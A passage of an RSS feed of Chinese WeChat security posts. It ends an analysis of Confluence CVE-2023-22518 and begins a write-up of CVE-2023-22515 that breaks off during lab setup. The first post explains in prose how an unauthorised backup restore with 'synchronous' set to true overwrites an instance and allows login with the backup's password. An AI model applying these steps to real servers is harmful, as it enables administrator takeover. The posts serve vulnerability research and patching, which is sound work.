 <img class="rich_pages wxw-img" data-backh="338" data-backw="578" data-imgfileid="100004609" data-ratio="0.5843091334894613" width="601.7100219726562" data-type="png" data-w="854" height="351.5799865722656" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5c61e7a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9NToxVsw3CPRE0QNpib7M1HmNcemAhQnAVedUuXz2uhbsa8ObTfLgzXA%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">在</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">BackupAction.execute()</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">中，调用的</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">runLegacyVersion()</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">把</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">exportScope</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">设为了 ALL，所以能避开上面的报错。         </span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-imgfileid="100004611" data-ratio="0.39166666666666666" width="601.7100219726562" data-type="png" data-w="1080" height="235.760009765625" src="https://wechat2rss.xlab.app/img-proxy/?k=a5544aeb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI93eQ1FMnWwGBhaicdSFhTvLicPxW0YL6qmQq8Oe7ibickoYckOgb6owayuA%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">再进行上传，把</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">synchronous</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">改为 true，直接同步完成覆盖，如果不改为 true，虽然返回显示成功，但是并不能使用备份中的密码去登录。 </span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="301" data-backw="578" data-imgfileid="100004612" data-ratio="0.5197568389057751" width="601.7100219726562" data-type="png" data-w="987" height="312.739990234375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=fe758363&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9kBLZibyMa1jCRvm4wCIb2xytDSTNiawDARC88I186UmU2X0gcGDpjFbQ%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">在</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">SetupRestoreAction.execute()</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">中调用了父类的</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">execute()</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">，到 </span></span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">AbstractImportAction </span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">中，</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">isImportAllowed()</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">恒返回 true，调用</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">doRestore()</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">;  </span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="278" data-backw="578" data-imgfileid="100004614" data-ratio="0.48074921956295524" width="601.7100219726562" data-type="png" data-w="961" height="289.2699890136719" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=fcdf7f93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI96PS84MywTnj9RZb5l4gSX8V32XNlMophq4tyw8VB3WgOBrOOvMVLaQ%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">在</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">doRestore()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中判断了</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">synchronous</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">的值，如果为 true 则直接执行当前任务，进行备份覆盖。<br/>

 </span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">synchronous</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">默认为 false，不修改则返回一个 taskId;  </span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="148" data-backw="578" data-imgfileid="100004615" data-ratio="0.2564814814814815" width="601.7100219726562" data-type="png" data-w="1080" height="154.08001708984375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=782ad0ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI9BXpr7yvkGlYqPDJ1hKrv5L6CMibTgTGh7ZHJ8mfROxx5mzN2ibsrgBSA%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">还需要通过</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/longrunningtaskxml.action?taskId=</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">去执行这个任务，调用</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">this.executorService.submit()</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">提交并执行。  </span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="368" data-backw="578" data-imgfileid="100004613" data-ratio="0.637043966323667" width="601.7100219726562" data-type="png" data-w="1069" height="383.32000732421875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f520e065&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NswJAhDnpJTufHkpRkZyI93yu0QYnCc8oppziaNxgUibN6gcibjsxNnssVIdutWibzTRR4uHcxD7jXgQ%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;line-height: 1.6em;"><br/></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 20px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><span style="color:#3b55ab;"><strong>参考链接：</strong></span></span><span style="font-size: 18px;color: rgb(47, 47, 47);text-indent: 0pt;letter-spacing: 0.034em;">     </span><span style="font-size: 18px;color: rgb(47, 47, 47);text-indent: 0pt;letter-spacing: 0.034em;">   </span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="color: rgb(0, 0, 255);text-decoration: underline;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://xz.aliyun.com/t/12961" target="_blank">https://xz.aliyun.com/t/12961</a><br/></span><span style="color: rgb(0, 0, 255);text-decoration: underline;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://xz.aliyun.com/t/12981" target="_blank">https://xz.aliyun.com/t/12981</a><br/></span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"> 5pringKi11：CVE-2023-22518 Critical Privilege Escalation Vulnerability in Atlassian&#39;s Confluence.pdf</span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488268">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d878cb7e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488268%26idx%3D1%26sn%3D682de0bdb4105631f83f79da1af4a1c6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 06 Dec 2023 17:16:00 +0800</pubDate>
    </item>
    <item>
      <title>Confluence 数据中心和服务器中的访问控制漏洞(CVE-2023-22515)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488203&amp;idx=1&amp;sn=d26944771ae3d1815a4f793328d5e279</link>
      <description>外部攻击者可能利用可公开访问的 Confluence 数据中心和服务器实例中的先前未知的漏洞来创建未经授权的 Confluence 管理员帐户并访问 Confluence 实例。</description>
      <content:encoded><![CDATA[<p>
原创 <span>元亨-blckder02</span> <span>2023-11-30 12:15</span> <span style="display: inline-block;">浙江</span>
</p>

<p>外部攻击者可能利用可公开访问的 Confluence 数据中心和服务器实例中的先前未知的漏洞来创建未经授权的 Confluence 管理员帐户并访问 Confluence 实例。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=604b7b52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3Nibia1nAGmnbnh0HESSlekKfBITQnKO2I1l2uXbvVQzbpibTnJWia2XWMTfw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 24pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;break-before: auto;line-height: 1.6em;"><span style="text-indent: 0pt;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">1. 前言</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><strong style="text-wrap: wrap;outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;">官方公告：</span></strong><br/></span><span style="color: rgb(0, 0, 255);font-weight: normal;text-decoration: underline;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://confluence.atlassian.com/security/cve-2023-22515-broken-access-control-vulnerability-in-confluence-data-center-and-server-1295682276.html" target="_blank">https://confluence.atlassian.com/security/cve-2023-22515-broken-access-control-vulnerability-in-confluence-data-center-and-server-1295682276.html</a></span><span style="color: rgb(0, 0, 255);font-weight: normal;text-decoration: underline;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><strong style="text-wrap: wrap;outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;">漏洞</span></strong><strong style="text-wrap: wrap;outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;">描述：</span></strong></span><span style="mso-style-name: &#39;3 Text&#39;;mso-style-parent: &#39;&#39;;font-weight: normal;mso-bidi-font-weight: normal;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"><br/></span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">外部攻击者可能利用可公开访问的 Confluence 数据中心和服务器实例中的先前未知的漏洞来创建未经授权的 Confluence 管理员帐户并访问 Confluence 实例。</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><strong style="text-wrap: wrap;outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;">影响版本：</span></strong></span></section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li style="font-size: 18px;"><section style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin-left: 18pt;text-indent: -18pt;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">&lt; 8.0.5</span></section></li><li style="font-size: 18px;"><section style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin-left: 18pt;text-indent: -18pt;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">&lt; 8.1.5</span></section></li><li style="font-size: 18px;"><section style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin-left: 18pt;text-indent: -18pt;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">&lt; 8.2.4</span></section></li><li style="font-size: 18px;"><section style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin-left: 18pt;text-indent: -18pt;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">&lt; 8.3.3</span></section></li><li style="font-size: 18px;"><section style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin-left: 18pt;text-indent: -18pt;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">&lt; 8.4.3</span></section></li><li style="font-size: 18px;"><section style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin-left: 18pt;text-indent: -18pt;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">&lt; 8.5.2</span></section></li></ul><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">8.0.0版本之前不受影响。</span></section><section style="text-align: left;text-indent: 0pt;font-size: 21.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;margin: 0pt;line-height: 1.6em;"><span style="background-color: rgb(255, 255, 255);color: rgb(6, 153, 7);font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;text-indent: 0pt;">2. 环境搭建</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">从 atlassian 官网下载漏洞版本的 confluence 安装包，Windows 下载 exe 进行安装；<br/>

 </span><span style="color: rgb(0, 0, 255);text-decoration: underline;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://www.atlassian.com/software/confluence/download-archives" target="_blank">https://www.atlassian.com/software/confluence/download-archives</a></span><o:page></o:page></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">启动 confluence 服务后，访问</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);"><a href="http://localhost:8090" target="_blank">http://localhost:8090</a></span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">进入安装步骤，选择</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">Trial Installation</span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">；</span></span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="263" data-backw="529" data-imgfileid="100004503" data-ratio="0.497164461247637" width="529.010009765625" data-type="png" data-w="529" height="263.0" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1392d7c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibJ65JpIAdia1tGelkMLYOedMojOFSwqb6xxXm4uxx61IrvmOs8RT9ZOQ%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">需要申请一个许可证，点击</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">Get an evaluation license</span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，选择</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">Confluence (Data Center)</span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，获取一个免费试用的许可证，复制过来；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 9pt;font-family: monospace;color: rgb(136, 0, 0);font-weight: normal;background: rgb(240, 240, 240);line-height: 1.6em;"><span style="color: rgb(47, 47, 47);background: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="343" data-backw="578" data-imgfileid="100004506" data-ratio="0.5930880713489409" width="601.7100219726562" data-type="png" data-w="897" height="356.8699645996094" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=6ce89aec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibZaZvXBrRjMPzEH8liaeJAFkd7hVn9AJd8IZkxAd3h10PwvEEdzw74fQ%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 9pt;font-weight: normal;background: rgb(240, 240, 240);line-height: 1.6em;"><span style="color:#880000;font-family:monospace;"><o:page></o:page></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">然后选择“非集群”，进入创建数据库的步骤；MySQL 数据库需要单独下载驱动；</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 </span><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="336" data-backw="578" data-imgfileid="100004502" data-ratio="0.5812154696132596" width="601.7100219726562" data-type="png" data-w="905" height="349.7200012207031" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=27572df0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3Nibd0w9oGuJjXkIicNXtd9GXlzlUKIU6leduc1GXf0LbncYLfult59nl7Q%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">点击下载地址，选择最新的驱动版本下载；</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

